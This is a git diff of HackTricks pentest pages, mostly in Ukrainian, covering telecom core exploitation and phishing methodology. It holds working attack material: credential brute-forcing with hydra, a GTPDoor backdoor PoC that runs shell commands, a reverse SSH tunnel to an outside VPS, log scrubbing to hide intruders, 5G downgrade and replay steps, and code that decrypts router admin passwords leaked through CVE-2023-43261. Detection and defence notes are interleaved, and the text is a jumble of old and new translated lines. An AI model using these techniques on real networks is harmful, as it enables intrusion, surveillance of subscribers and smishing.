Translated ['', 'src/generic-methodologies-and-resources/phishing-method

This commit is contained in:
Translator 2025-10-09 00:50:58 +00:00
parent 5c747da290
commit 5a087941f4
2 changed files with 335 additions and 228 deletions

View File

@ -1,27 +1,27 @@
# Експлуатація телеком-мереж (GTP / Roaming Environments)
# Telecom Network Exploitation (GTP / Roaming Environments)
{{#include ../../banners/hacktricks-training.md}}
> [!NOTE]
> Протоколи мобільного ядра (GPRS Tunnelling Protocol GTP) часто проходять через напівдовірені роумінгові магістралі GRX/IPX. Оскільки вони передаються по plain UDP з майже відсутньою автентифікацією, **any foothold inside a telecom perimeter can usually reach core signalling planes directly**. Нижченаведені нотатки зібрані для опису offensive tricks, спостережених у реальних атаках проти SGSN/GGSN, PGW/SGW та інших EPC nodes.
> Протоколи мобільного ядра (GPRS Tunnelling Protocol GTP) зазвичай проходять через напівдовірені GRX/IPX роумінгові магістралі. Оскільки вони передаються по звичайному UDP з майже відсутньою автентифікацією, **будь-який foothold всередині периметру телеком-мережі зазвичай може безпосередньо досягати основних площин сигналізації**. Наведені нижче нотатки містять атакувальні прийоми, зафіксовані в реальному житті проти SGSN/GGSN, PGW/SGW та інших вузлів EPC.
## 1. Recon & Initial Access
### 1.1 Default OSS / NE Accounts
Дивно велика кількість мережевих елементів від постачальників постачається з жорстко закодованими SSH/Telnet акаунтами, такими як `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Спеціалізований wordlist значно підвищує успіх brute-force:
Дивно велика кількість елементів мережі від постачальників поставляється з жорстко вбудованими SSH/Telnet користувачами, такими як `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Спеціалізований wordlist значно підвищує успіх brute-force:
```bash
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
```
Якщо пристрій відкриває лише management VRF, спочатку зробіть pivot через jump host (див. розділ «SGSN Emu Tunnel» нижче).
Якщо пристрій відкриває лише management VRF, спочатку pivot через jump host (див. розділ «SGSN Emu Tunnel» нижче).
### 1.2 Виявлення хостів всередині GRX/IPX
Більшість операторів GRX все ще дозволяють **ICMP echo** через backbone. Поєднуйте `masscan` з вбудованими UDP-пробами `gtpv1`, щоб швидко виявити GTP-C listeners:
### 1.2 Виявлення хостів усередині GRX/IPX
Більшість операторів GRX досі дозволяють **ICMP echo** через магістральну мережу. Поєднайте `masscan` із вбудованими UDP-пробами `gtpv1`, щоб швидко відобразити GTP-C listeners:
```bash
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
```
## 2. Перебір абонентів `cordscan`
## 2. Перелічення абонентів `cordscan`
Наведений нижче інструмент на Go формує пакети **GTP-C Create PDP Context Request** та логує відповіді. Кожна відповідь виявляє поточний **SGSN / MME**, що обслуговує запитуваний IMSI, а іноді — і відвідану PLMN абонента.
Наступний Go tool формує пакети **GTP-C Create PDP Context Request** і записує відповіді. Кожна відповідь розкриває поточний **SGSN / MME**, що обслуговує запитуваний IMSI, а інколи — відвідану абонентом PLMN.
```bash
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
@ -29,22 +29,22 @@ GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
```
Ключові прапори:
- `--imsi` Цільовий IMSI абонента
- `--oper` домашня мережа / HNI (MCC+MNC)
- `-w` Записувати сирі пакети у pcap
Ключові опції:
- `--imsi` Цільовий абонент IMSI
- `--oper` Домашній оператор / HNI (MCC+MNC)
- `-w` Записувати необроблені пакети у pcap
Важливі константи всередині бінарного файлу можна змінити, щоб розширити сканування:
Важливі константи всередині бінарного файлу можна змінити, щоб розширити діапазон сканування:
```
pingtimeout = 3 // seconds before giving up
pco = 0x218080
common_tcp_ports = "22,23,80,443,8080"
```
## 3. Виконання коду через GTP `GTPDoor`
## 3. Code Execution over GTP `GTPDoor`
`GTPDoor`крихітна ELF-служба, яка прив’язує сокет до порту UDP 2123 і розбирає кожен вхідний GTP-C пакет. Коли payload починається з pre-shared tag, решта розшифровується (AES-128-CBC) і виконується через `/bin/sh -c`. stdout/stderr exfiltrated inside **Echo Response** messages, тож жодна зовнішня сесія не створюється.
`GTPDoor`невеликий ELF-сервіс, який **binds UDP 2123 і parses every incoming GTP-C packet**. Коли payload починається з pre-shared tag, решта дешифрується (AES-128-CBC) і виконується через `/bin/sh -c`. stdout/stderr exfiltrated всередині **Echo Response** messages, тому жодна зовнішня сесія не створюється.
Мінімальний PoC пакет (Python):
Мінімальний PoC packet (Python):
```python
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
@ -53,39 +53,39 @@ enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
```
Виявлення:
* будь-який хост, який надсилає **unbalanced Echo Requests** до IP-адрес SGSN
* GTP version flag встановлено в 1, тоді як message type = 1 (Echo) відхилення від специфікації
* будь-який хост, що відправляє **unbalanced Echo Requests** на IP-адреси SGSN
* GTP version flag встановлений у 1, тоді як message type = 1 (Echo) — відхилення від специфікації
## 4. Pivoting через ядро
## 4. Pivoting Through the Core
### 4.1 `sgsnemu` + SOCKS5
`OsmoGGSN` містить емулятор SGSN, здатний **встановити PDP context до реального GGSN/PGW**. Після узгодження Linux отримує новий інтерфейс `tun0`, доступний з боку роумінг-піра.
`OsmoGGSN` постачається з емультором SGSN, який може **встановити PDP context до реального GGSN/PGW**. Після узгодження Linux отримує новий інтерфейс `tun0`, доступний з боку роумінг-піра.
```bash
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 & # internal SOCKS proxy
```
При належному firewall hair-pinning цей тунель обходить signalling-only VLANs і потрапляєте безпосередньо в **data plane**.
За належного firewall hair-pinning цей тунель обходить signalling-only VLANs і ви опиняєтеся прямо в **data plane**.
### 4.2 SSH Reverse Tunnel over Port 53
DNS майже завжди відкритий у роумінгових інфраструктурах. Експонуйте внутрішній SSH-сервіс на ваш VPS, що слухає на :53, і поверніться пізніше додому:
DNS майже завжди відкритий у роумінгових інфраструктурах. Виставте внутрішній SSH service на вашому VPS, що слухає на :53, і поверніться пізніше з дому:
```bash
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
```
Перевірте, що `GatewayPorts yes` увімкнено на VPS.
Переконайтеся, що `GatewayPorts yes` увімкнено на VPS.
## 5. Приховані канали
| Канал | Транспорт | Декодування | Примітки |
|---------|-----------|----------|-------|
| ICMP `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | повністю пасивний слухач, без вихідного трафіку |
| DNS `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) encoded in A-record octets | стежить за `*.nodep` піддоменом |
| GTP `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | зливається з легітимним GTP-C чатом |
| DNS `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) encoded in A-record octets | стежить за субдоменом `*.nodep` |
| GTP `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | маскується під легітимний GTP-C трафік |
Усі implants реалізують watchdogs, які **timestomp** їхні binaries та re-spawn у разі збою.
Усі implants реалізують watchdogs, які **timestomp** їхні binaries і re-spawn у разі збою.
## 6. Defense Evasion Cheatsheet
## 6. Шпаргалка з обходу захисту
```bash
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
@ -111,7 +111,7 @@ python3 PwnKit.py
# Sudo Baron Samedit CVE-2021-3156
python3 exploit_userspec.py
```
Порада щодо очищення:
Порада з очищення:
```bash
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c
@ -119,73 +119,73 @@ rm -f /tmp/sh ; history -c
## 8. Набір інструментів
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` кастомні інструменти, описані в попередніх розділах.
* `FScan` : сканування TCP у внутрішній мережі (`fscan -p 22,80,443 10.0.0.0/24`)
* `FScan` : інтра-мережеві TCP-сканування (`fscan -p 22,80,443 10.0.0.0/24`)
* `Responder` : LLMNR/NBT-NS rogue WPAD
* `Microsocks` + `ProxyChains` : lightweight SOCKS5 pivoting
* `Microsocks` + `ProxyChains` : легкий SOCKS5 pivoting
* `FRP` (≥0.37) : NAT traversal / asset bridging
## 9. Атаки на реєстрацію 5G NAS: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
## 9. Атаки реєстрації 5G NAS: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
Процедура реєстрації 5G виконується через NAS (Non-Access Stratum) поверх NGAP. До того, як NAS безпеку буде активовано через Security Mode Command/Complete, початкові повідомлення не автентифіковані та не зашифровані. Це вікно перед активацією безпеки відкриває кілька шляхів атаки, якщо ви можете спостерігати або модифікувати N2 трафік (наприклад, on-path всередині core, rogue gNB або тестовий стенд).
Процедура реєстрації 5G відбувається по NAS (Non-Access Stratum) поверх NGAP. До активації NAS security через Security Mode Command/Complete початкові повідомлення не автентифіковані та не шифруються. Це вікно перед безпекою дозволяє кілька векторів атаки, коли ви можете спостерігати або модифікувати N2 трафік (наприклад, on-path всередині core, rogue gNB або тестове середовище).
Потік реєстрації (спрощено):
- Registration Request: UE надсилає SUCI (зашифрований SUPI) та capabilities.
- Registration Request: UE надсилає SUCI (SUPI зашифрований публічним ключем home-network) та можливості.
- Authentication: AMF/AUSF надсилають RAND/AUTN; UE повертає RES*.
- Security Mode Command/Complete: узгоджуються та активуються NAS integrity та ciphering.
- Security Mode Command/Complete: відбувається узгодження та активація NAS integrity і ciphering.
- PDU Session Establishment: налаштування IP/QoS.
Поради щодо налаштування лабораторії (без RF):
- Core: стандартне розгортання Open5GS достатнє для відтворення потоків.
- UE: симулятор або тестовий UE; декодуйте за допомогою Wireshark.
- Активні інструменти: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB).
- UE: симулятор або тестовий UE; декодування через Wireshark.
- Active tooling: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB).
- Корисні фільтри відображення у Wireshark:
- ngap.procedure_code == 15 (InitialUEMessage)
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
### 9.1 Приватність ідентифікаторів: SUCI failures exposing SUPI/IMSI
Очікування: UE/USIM має передавати SUCI (SUPI, зашифрований відкритим ключем домашньої мережі). Знаходження відкритого SUPI/IMSI у Registration Request вказує на дефект приватності, який дозволяє постійне відстеження абонента.
Очікуване: UE/USIM має передавати SUCI (SUPI зашифрований публічним ключем home-network). Знаходження відкритого SUPI/IMSI у Registration Request вказує на дефект приватності, що дозволяє стійке відстеження абонента.
Як тестувати:
- Захопіть перше NAS повідомлення в InitialUEMessage і проінспектуйте Mobile Identity IE.
- Захопіть перше NAS-повідомлення в InitialUEMessage та проінспектуйте Mobile Identity IE.
- Швидкі перевірки у Wireshark:
- Пакет має декодуватися як SUCI, а не IMSI.
- Приклади фільтрів: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` має існувати; відсутність разом із присутністю `imsi` вказує на leak.
- Воно має декодуватися як SUCI, а не IMSI.
- Приклади фільтрів: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` має існувати; відсутність цього разом із присутністю `imsi` вказує на витік.
Що збирати:
- MCC/MNC/MSIN, якщо вони витікають; логувати по UE та відстежувати у часі/локаціях.
- MCC/MNC/MSIN якщо відкриті; логувати по-UE і відстежувати у часі/локаціях.
Міри захисту:
- Забезпечити SUCI-only UEs/USIMs; сповіщати про будь-який IMSI/SUPI у початковому NAS.
Захист:
- Примушувати UEs/USIMs працювати тільки з SUCI; сигналізувати про будь-який IMSI/SUPI в початковому NAS.
### 9.2 Відкат можливостей (capability bidding-down) до нульових алгоритмів (EEA0/EIA0)
### 9.2 Заведення занижених можливостей до null-алгоритмів (EEA0/EIA0)
Передумови:
- UE рекламує підтримувані EEA (шифрування) та EIA (цілісність) у UE Security Capability IE реєстраційного запиту.
- Типові відповідності: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 — нульові алгоритми.
- UE повідомляє підтримувані EEA (encryption) та EIA (integrity) у UE Security Capability IE Registration Request.
- Загальні відповідності: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 — null-алгоритми.
Проблема:
- Оскільки Registration Request не має захисту цілісності, on-path attacker може очистити біти capability, щоб примусити вибір EEA0/EIA0 пізніше під час Security Mode Command. Деякі стеки помилково дозволяють нульові алгоритми поза екстреними сервісами.
- Оскільки Registration Request не має integrity protection, on-path атакуючий може очистити біти можливостей, щоб змусити обрання EEA0/EIA0 пізніше під час Security Mode Command. Деякі стеки помилково дозволяють null-алгоритми поза emergency services.
Атакувальні кроки:
- Перехопіть InitialUEMessage і змініть NAS UE Security Capability так, щоб рекламувати лише EEA0/EIA0.
- За допомогою Sni5Gect підхопіть NAS повідомлення і патчіть біти capability перед пересиланням.
- Спостерігайте, чи AMF приймає нульові шифри/цілісність і завершить Security Mode з EEA0/EIA0.
Нападальні кроки:
- Перехопіть InitialUEMessage і змініть NAS UE Security Capability так, щоб вона рекламувала лише EEA0/EIA0.
- З Sni5Gect підхопіть NAS-повідомлення і патчіть біти можливостей перед пересилкою.
- Спостерігайте, чи AMF приймає null cipher/integrity і завершує Security Mode з EEA0/EIA0.
Перевірка/видимість:
- У Wireshark підтвердіть обрані алгоритми після Security Mode Command/Complete.
- Приклад виводу пасивного сніффера:
- У Wireshark підтвердіть вибрані алгоритми після Security Mode Command/Complete.
- Приклад виходу пасивного сніфера:
```
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001
```
Заходи пом'якшення (обов'язково):
- Налаштуйте AMF/policy відхиляти EEA0/EIA0, крім випадків, коли це суворо необхідно (наприклад, екстрені виклики).
- Віддавайте перевагу застосуванню EEA2/EIA2 як мінімум; логувати та піднімати тривогу для будь-якого контексту безпеки NAS, який узгоджує null algorithms.
- Налаштуйте AMF/policy на відхилення EEA0/EIA0, за винятком випадків, коли це суворо продиктовано (наприклад, екстрені виклики).
- Надавайте перевагу застосуванню EEA2/EIA2 як мінімум; реєструйте та піднімайте тривогу для будь-якого контексту безпеки NAS, який веде переговори про null algorithms.
### 9.3 Replay початкового Registration Request (pre-security NAS)
Оскільки початковий NAS не забезпечує цілісності та свіжості, перехоплений InitialUEMessage+Registration Request можна відтворити до AMF.
### 9.3 Replay of initial Registration Request (pre-security NAS)
Оскільки початковий NAS позбавлений цілісності та актуальності, перехоплений InitialUEMessage+Registration Request може бути replay-нутий до AMF.
PoC rule for 5GReplay to forward matching replays:
PoC правило для 5GReplay для пересилки відповідних replays:
```xml
<beginning>
<property value="THEN"
@ -208,32 +208,108 @@ boolean_expression="nas_5g.message_type == 65"/>
</property>
</beginning>
```
Що спостерігати:
- Чи приймає AMF повтор (replay) і переходить до Authentication; відсутність перевірки свіжості/контекстного зв'язування вказує на вразливість.
What to observe:
- На що звертати увагу:
- Whether AMF accepts the replay and proceeds to Authentication; lack of freshness/context validation indicates exposure.
- Чи приймає AMF replay і переходить до Authentication; відсутність перевірки свіжості/контексту вказує на вразливість.
Mitigations:
- Забезпечити захист від replay/зв'язування контексту на боці AMF; обмежувати швидкість і корелювати за GNB/UE.
- Заходи захисту:
- Enforce replay protection/context binding at AMF; rate-limit and correlate per-GNB/UE.
- Забезпечити захист від replay/зв'язування контексту на AMF; застосувати rate-limit і кореляцію за GNB/UE.
### 9.4 Поради по інструментах (відтворювані)
### 9.4 Tooling pointers (reproducible)
- 9.4 Поради щодо інструментів (відтворювано)
- Open5GS: spin up an AMF/SMF/UPF to emulate core; observe N2 (NGAP) and NAS.
- Open5GS: підняти AMF/SMF/UPF для емуляції ядра; спостерігати N2 (NGAP) і NAS.
- Wireshark: verify decodes of NGAP/NAS; apply the filters above to isolate Registration.
- Wireshark: перевірити декоди NGAP/NAS; застосувати фільтри вище, щоб ізолювати Registration.
- 5GReplay: capture a registration, then replay specific NGAP + NAS messages as per the rule.
- 5GReplay: захопити registration, потім replay конкретних NGAP + NAS повідомлень згідно правила.
- Sni5Gect: live sniff/modify/inject NAS control-plane to coerce null algorithms or perturb authentication sequences.
- Sni5Gect: live sniff/modify/inject NAS control-plane для примушення null algorithms або порушення authentication sequences.
### 9.5 Контрольний список захисту
- Постійно інспектуйте Registration Request на предмет plaintext SUPI/IMSI; блокувати пристрої/USIMs, що порушують.
- Відкидати EEA0/EIA0, крім вузько визначених процедур екстрених випадків; вимагати принаймні EEA2/EIA2.
- Виявляти зловмисну або неправильно налаштовану інфраструктуру: неавторизовані gNB/AMF, несподівані N2 peers.
- Сигналізувати про NAS security modes, що призводять до null алгоритмів або частих повторів InitialUEMessage.
### 9.5 Defensive checklist
- 9.5 Контрольний список захисту
- Continuously inspect Registration Request for plaintext SUPI/IMSI; block offending devices/USIMs.
- Постійно перевіряти Registration Request на наявність plaintext SUPI/IMSI; блокувати пристрої/USIMs, що порушують.
- Reject EEA0/EIA0 except for narrowly defined emergency procedures; require at least EEA2/EIA2.
- Відкидати EEA0/EIA0, за винятком строго визначених аварійних процедур; вимагати щонайменше EEA2/EIA2.
- Detect rogue or misconfigured infrastructure: unauthorized gNB/AMF, unexpected N2 peers.
- Виявляти rogue або неправильно налаштовану інфраструктуру: unauthorized gNB/AMF, unexpected N2 peers.
- Alert on NAS security modes that result in null algorithms or frequent replays of InitialUEMessage.
- Оповіщати про NAS security modes, які призводять до null algorithms або частих replay InitialUEMessage.
---
## Ідеї для виявлення
1. **Будь-який пристрій, відмінний від SGSN/GGSN, що встановлює Create PDP Context Requests**.
2. **Нестандартні порти (53, 80, 443), які отримують SSH handshakes** від внутрішніх IP.
3. **Часті Echo Requests без відповідних Echo Responses** може вказувати на GTPDoor beacons.
4. **Високий рівень ICMP echo-reply трафіку з великими, ненульовими полями identifier/sequence**.
5. 5G: **InitialUEMessage, що несе NAS Registration Requests, повторювані з однакових кінцевих точок** (сигнал replay).
6. 5G: **NAS Security Mode, який узгоджує EEA0/EIA0** поза контекстом екстрених випадків.
## 10. Industrial Cellular Routers Unauthenticated SMS API Abuse (Milesight UR5X/UR32/UR35/UR41) and Credential Recovery (CVE-2023-43261)
## 10. Промислові мобільні маршрутизатори Unauthenticated SMS API Abuse (Milesight UR5X/UR32/UR35/UR41) and Credential Recovery (CVE-2023-43261)
Abusing exposed web APIs of industrial cellular routers enables stealthy, carrier-origin smishing at scale. Milesight UR-series routers expose a JSON-RPCstyle endpoint at `/cgi`. When misconfigured, the API can be queried without authentication to list SMS inbox/outbox and, in some deployments, to send SMS.
Зловживання відкритими web API промислових мобільних маршрутизаторів дозволяє здійснювати stealthy, carrier-origin smishing у масштабі. Маршрутизатори Milesight серії UR відкривають JSON-RPCstyle endpoint на `/cgi`. При неправильній конфігурації API можна опитувати без authentication, щоб перелічити SMS inbox/outbox і, в деяких розгортаннях, відправляти SMS.
Typical unauthenticated requests (same structure for inbox/outbox):
Типові unauthenticated запити (така ж структура для inbox/outbox):
```http
POST /cgi HTTP/1.1
Host: <router>
Content-Type: application/json
{ "base": "query_outbox", "function": "query_outbox", "values": [ {"page":1,"per_page":50} ] }
```
```json
{ "base": "query_inbox", "function": "query_inbox", "values": [ {"page":1,"per_page":50} ] }
```
Відповіді містять поля, такі як `timestamp`, `content`, `phone_number` (E.164) та `status` (`success` або `failed`). Повторні відправлення зі статусом `failed` на той самий номер часто є «перевірками можливостей» атакуючого, щоб переконатися, що маршрутизатор/SIM може доставляти повідомлення перед масовою розсилкою.
Приклад curl для exfiltrate метаданих SMS:
```bash
curl -sk -X POST http://<router>/cgi \
-H 'Content-Type: application/json' \
-d '{"base":"query_outbox","function":"query_outbox","values":[{"page":1,"per_page":100}]}'
```
Примітки щодо auth-артефактів:
- Деякий трафік може містити auth cookie, але велика частина відкритих пристроїв відповідає без будь-якої аутентифікації на `query_inbox`/`query_outbox`, коли інтерфейс управління доступний з Інтернету.
- У середовищах, що вимагають auth, previously-leaked credentials (див. нижче) відновлюють доступ.
Шлях відновлення облікових даних CVE-2023-43261:
- Затронуті сімейства: UR5X, UR32L, UR32, UR35, UR41 (pre v35.3.0.7).
- Проблема: журнали, що віддаються через web (наприклад, `httpd.log`), доступні без аутентифікації за шляхом `/lang/log/` і містять події входу admin з паролем, зашифрованим із використанням захардкодженого AES key/IV, присутнього в client-side JavaScript.
- Практичний доступ і розшифрування:
```bash
curl -sk http://<router>/lang/log/httpd.log | sed -n '1,200p'
# Look for entries like: {"username":"admin","password":"<base64>"}
```
Мінімальний скрипт на Python для розшифрування leaked паролів (AES-128-CBC, hardcoded key/IV):
```python
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
KEY=b'1111111111111111'; IV=b'2222222222222222'
enc_b64='...' # value from httpd.log
print(unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(enc_b64)), AES.block_size).decode())
```
Полювання та ідеї для виявлення (мережа):
- Тригери на неаутентифікований `POST /cgi`, JSON-тiло якого містить `base`/`function`, встановлені в `query_inbox` або `query_outbox`.
- Відстежувати повторні сплески `POST /cgi`, за якими слідують записи `status":"failed"` по великій кількості унікальних номерів з того самого source IP (capability testing).
- Інвентаризація Internet-exposed Milesight роутерів; обмежити управління через VPN; вимкнути SMS-функції, якщо вони не потрібні; оновити до ≥ v35.3.0.7; ротувати облікові дані та переглядати SMS-логи на предмет невідомих відправлень.
Shodan/OSINT pivots (приклади, помічені в природі):
- `http.html:"rt_title"` відповідає панелям роутерів Milesight.
- Google dorking для відкритих логів: `"/lang/log/system" ext:log`.
Оперативний вплив: використання легітимних carrier SIM у роутерах забезпечує дуже високу доставлюваність/авторитетність SMS для фішингу, тоді як експозиція inbox/outbox призводить до leak чутливих метаданих у великому масштабі.
---
## Detection Ideas
1. **Будь-який пристрій, крім SGSN/GGSN, який встановлює Create PDP Context Requests**.
2. **Не-стандартні порти (53, 80, 443), що приймають SSH handshakes** з internal IP.
3. **Часті Echo Requests без відповідних Echo Responses** можуть вказувати на маячки GTPDoor.
4. **Велика інтенсивність ICMP echo-reply трафіку з великими, ненульовими полями identifier/sequence**.
5. 5G: **InitialUEMessage, що несе NAS Registration Requests, повторювані з ідентичних endpoints** (replay signal).
6. 5G: **NAS Security Mode, що узгоджує EEA0/EIA0 поза контекстом emergency**.
## References
@ -243,5 +319,8 @@ Mitigations:
- [Demystifying 5G Security: Understanding the Registration Protocol](https://bishopfox.com/blog/demystifying-5g-security-understanding-the-registration-protocol)
- 3GPP TS 24.501 Non-Access-Stratum (NAS) protocol for 5GS
- 3GPP TS 33.501 Security architecture and procedures for 5G System
- [Silent Smishing: The Hidden Abuse of Cellular Router APIs (Sekoia.io)](https://blog.sekoia.io/silent-smishing-the-hidden-abuse-of-cellular-router-apis/)
- [CVE-2023-43261 NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-43261)
- [CVE-2023-43261 PoC (win3zz)](https://github.com/win3zz/CVE-2023-43261)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,50 +1,50 @@
# Phishing Methodology
# Методологія Phishing
{{#include ../../banners/hacktricks-training.md}}
## Методологія
1. Recon жертви
1. Recon the victim
1. Select the **victim domain**.
2. Perform some basic web enumeration **шукаючи портали для входу** used by the victim and **вирішіть** which one you will **імітовати**.
3. Use some **OSINT** to **знайти електронні адреси**.
2. Підготуйте середовище
1. **Купіть домен** you are going to use for the phishing assessment
2. **Налаштуйте записи поштового сервісу** related records (SPF, DMARC, DKIM, rDNS)
3. Налаштуйте VPS з **gophish**
3. Підготуйте кампанію
1. Підготуйте **шаблон листа**
2. Підготуйте **веб-сторінку** щоб вкрасти облікові дані
4. Запустіть кампанію!
2. Perform some basic web enumeration **searching for login portals** used by the victim and **decide** which one you will **impersonate**.
3. Use some **OSINT** to **find emails**.
2. Prepare the environment
1. **Buy the domain** you are going to use for the phishing assessment
2. **Configure the email service** related records (SPF, DMARC, DKIM, rDNS)
3. Configure the VPS with **gophish**
3. Prepare the campaign
1. Prepare the **email template**
2. Prepare the **web page** to steal the credentials
4. Launch the campaign!
## Generate similar domain names or buy a trusted domain
### Техніки варіювання імен доменів
### Domain Name Variation Techniques
- **Keyword**: Ім'я домену **містить** важливе **ключове слово** оригінального домену (e.g., zelster.com-management.com).
- **hypened subdomain**: Замініть **крапку на дефіс** у субдомені (e.g., www-zelster.com).
- **New TLD**: Той самий домен з **новим TLD** (e.g., zelster.org)
- **Homoglyph**: Він **замінює** букву в імені домену на **літери, які виглядають схоже** (e.g., zelfser.com).
- **Keyword**: The domain name **contains** an important **keyword** of the original domain (e.g., zelster.com-management.com).
- **hypened subdomain**: Change the **dot for a hyphen** of a subdomain (e.g., www-zelster.com).
- **New TLD**: Same domain using a **new TLD** (e.g., zelster.org)
- **Homoglyph**: It **replaces** a letter in the domain name with **letters that look similar** (e.g., zelfser.com).
{{#ref}}
homograph-attacks.md
{{#endref}}
- **Transposition:** Він **міняє місцями дві літери** в імені домену (e.g., zelsetr.com).
- **Singularization/Pluralization**: Додає або видаляє “s” в кінці імені домену (e.g., zeltsers.com).
- **Omission**: Він **видаляє одну** з літер з імені домену (e.g., zelser.com).
- **Repetition:** Він **повторює одну** з літер в імені домену (e.g., zeltsser.com).
- **Replacement**: Як homoglyph, але менш приховано. Він замінює одну з літер в імені домену, можливо на літеру поруч з оригіналом на клавіатурі (e.g, zektser.com).
- **Subdomained**: Вставляє **крапку** всередину імені домену (e.g., ze.lster.com).
- **Insertion**: Він **вставляє літеру** в ім'я домену (e.g., zerltser.com).
- **Missing dot**: Додає TLD до імені домену без крапки. (e.g., zelstercom.com)
- **Transposition:** It **swaps two letters** within the domain name (e.g., zelsetr.com).
- **Singularization/Pluralization**: Adds or removes “s” at the end of the domain name (e.g., zeltsers.com).
- **Omission**: It **removes one** of the letters from the domain name (e.g., zelser.com).
- **Repetition:** It **repeats one** of the letters in the domain name (e.g., zeltsser.com).
- **Replacement**: Like homoglyph but less stealthy. It replaces one of the letters in the domain name, perhaps with a letter in proximity of the original letter on the keyboard (e.g, zektser.com).
- **Subdomained**: Introduce a **dot** inside the domain name (e.g., ze.lster.com).
- **Insertion**: It **inserts a letter** into the domain name (e.g., zerltser.com).
- **Missing dot**: Append the TLD to the domain name. (e.g., zelstercom.com)
**Автоматичні інструменти**
**Automatic Tools**
- [**dnstwist**](https://github.com/elceef/dnstwist)
- [**urlcrazy**](https://github.com/urbanadventurer/urlcrazy)
**Вебсайти**
**Websites**
- [https://dnstwist.it/](https://dnstwist.it)
- [https://dnstwister.report/](https://dnstwister.report)
@ -52,25 +52,25 @@ homograph-attacks.md
### Bitflipping
Існує **можливість, що один або декілька бітів, збережених або під час передачі, можуть автоматично змінитися** через різні фактори, такі як сонячні спалахи, космічні промені або апаратні помилки.
There is a **possibility that one of some bits stored or in communication might get automatically flipped** due to various factors like solar flares, cosmic rays, or hardware errors.
Коли цей концепт **застосовується до DNS-запитів**, можливо, що **домен, який отримує DNS-сервер**, не той самий, що й домен, запрошений спочатку.
When this concept is **applied to DNS requests**, it is possible that the **domain received by the DNS server** is not the same as the domain initially requested.
Наприклад, модифікація одного біта в домені "windows.com" може змінити його на "windnws.com."
For example, a single bit modification in the domain "windows.com" can change it to "windnws.com."
Зловмисники можуть **використати це, зареєструвавши кілька bit-flipping domains**, що схожі на домен жертви. Їхня мета — перенаправити легітимних користувачів на власну інфраструктуру.
Attackers may **take advantage of this by registering multiple bit-flipping domains** that are similar to the victim's domain. Their intention is to redirect legitimate users to their own infrastructure.
Для детальнішої інформації читайте [https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/)
For more information read [https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/)
### Придбайте довірений домен
### Buy a trusted domain
Ви можете шукати на [https://www.expireddomains.net/](https://www.expireddomains.net) прострочений домен, який можна використати.\
Щоб упевнитися, що прострочений домен, який ви збираєтесь купити, **вже має хороший SEO**, ви можете перевірити, як він класифікований у:
You can search in [https://www.expireddomains.net/](https://www.expireddomains.net) for a expired domain that you could use.\
In order to make sure that the expired domain that you are going to buy **has already a good SEO** you could search how is it categorized in:
- [http://www.fortiguard.com/webfilter](http://www.fortiguard.com/webfilter)
- [https://urlfiltering.paloaltonetworks.com/query/](https://urlfiltering.paloaltonetworks.com/query/)
## Пошук електронних адрес
## Discovering Emails
- [https://github.com/laramies/theHarvester](https://github.com/laramies/theHarvester) (100% free)
- [https://phonebook.cz/](https://phonebook.cz) (100% free)
@ -78,25 +78,25 @@ homograph-attacks.md
- [https://hunter.io/](https://hunter.io)
- [https://anymailfinder.com/](https://anymailfinder.com)
Щоб **знайти більше** дійсних електронних адрес або **підтвердити ті**, що ви вже знайшли, ви можете перевірити, чи можете brute-force SMTP-сервери жертви. [Learn how to verify/discover email address here](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration).\
